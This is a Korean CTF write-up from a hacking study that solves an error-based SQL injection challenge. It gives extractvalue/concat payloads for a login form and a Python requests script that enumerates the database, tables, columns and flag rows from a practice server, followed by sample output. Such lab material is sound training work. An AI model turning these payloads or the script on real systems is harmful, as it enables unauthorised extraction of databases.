IT 성장기 (교육이수)/CTF 문제풀이

[모의해킹 CTF] Error Based SQLi5

eezy 2024. 6. 4. 15:20

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.

 

Error Based SQLi5

 목차

1. SQLi Point 확인

2. Data 추출 코드

3. Python 코드

 

SQLi Point 확인

Extractvalue 문 가능 여부 확인

normaltic' and extractvalue('1', concat(0x3a, (select 'normaltic'))) and '1'='1

 

Error 문이 로그인 페이지에 출력되는 것을 확인

 

Data 추출 코드

Offset 의 값을 0 ~ 10까지 증가시키며, 각 행에 있는 데이터를 모두 추출할 수 있다.

1. 데이터베이스 명 추출

'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1"

2. Table 명 추출

'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2_2' limit 1 offset 0))) and '1'='1"

3. Column 명 추출

'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable_this' limit 1 offset 0))) and '1'='1"

4. Data 추출

'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 1 offset 0))) and '1'='1"

 

Python 코드

기본 코드

각 데이터 추출 구문은 함수로 구분했다. 원하는 함수를 아래 함수 칸에 추가 후, 함수를 호출하여 실행한다

더보기
import requests
import re

# Header
print("[*] Sql Injection5 ")

url = 'http://ctf.segfaulthub.com:7777/sqli_2_2/login.php'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
}

< ----- 함수 추가 ----- >

session = requests.Session()

# 함수 별 호출 구문 (주석을 이용해, 필요한 함수만 호출)
result = sqli_point(url, headers, session)
result = find_database(url, headers, session)
result = find_data(url, headers, session)

print(result)

1. 데이터베이스명 추출

def sqli_point(url, headers, session):
    
    data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }
    
    response = requests.post(url, headers=headers, data=data)

    if response.status_code == 200:
        match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
        if match:
            print(match.group(0))
        else:
            match = re.search (r'User Name :.*', response.text)
            if match:
                print(match.group(0))
            else:
                print("Required text not found in the response.")
    else:
        print(f"Failed to get response: {response.status_code}")

2. Table, Column 명 추출

def find_database(url, headers, session):
    offset = 0
    for offset in range (9):  # offset 값을 0부터 시작하여 증가시키며 반복

        data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable_this' limit 1 offset {offset}))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }
        
        response = requests.post(url, headers=headers, data=data)

        if response.status_code == 200:
            match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
            if match:
                print(f"Offset {offset}: {match.group(0)}")
            else:
                match = re.search (r'User Name :.*', response.text)
                if match:
                    print(match.group(0))
                else:
                    print("Required text not found in the response.")
                    break
        else:
            print(f"Failed to get response: {response.status_code}")

3. Data 추출

def find_data(url, headers, session):
    offset = 0
    for offset in range (20):  # offset 값을 0부터 시작하여 증가시키며 반복

        data = {
            'UserId': f"normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this limit 1 offset {offset}))) and '1'='1",
            'Password': '1234',
            'Submit': 'Login'
        }
        
        response = requests.post(url, headers=headers, data=data)

        if response.status_code == 200:
            match = re.search(r'Could not update data:.*', response.text, re.DOTALL)
            if match:
                print(f"Offset {offset}: {match.group(0)}")
            else:
                match = re.search (r'User Name :.*', response.text)
                if match:
                    print(match.group(0))
                else:
                    print("Required text not found in the response.")
                    break
        else:
            print(f"Failed to get response: {response.status_code}")

4. Data 출력 화면

[*] Sql Injection5 
Offset 0: Could not update data: XPATH syntax error: ':hello'
Offset 1: Could not update data: XPATH syntax error: ':What are you looking for?'
Offset 2: Could not update data: XPATH syntax error: ':hahahahaha'
Offset 3: Could not update data: XPATH syntax error: ':Funnnyyyyyyy'
Offset 4: Could not update data: XPATH syntax error: ':hahahahaha'
Offset 5: Could not update data: XPATH syntax error: ':Funnnyyyyyyy'
Offset 6: Could not update data: XPATH syntax error: ':gogogo'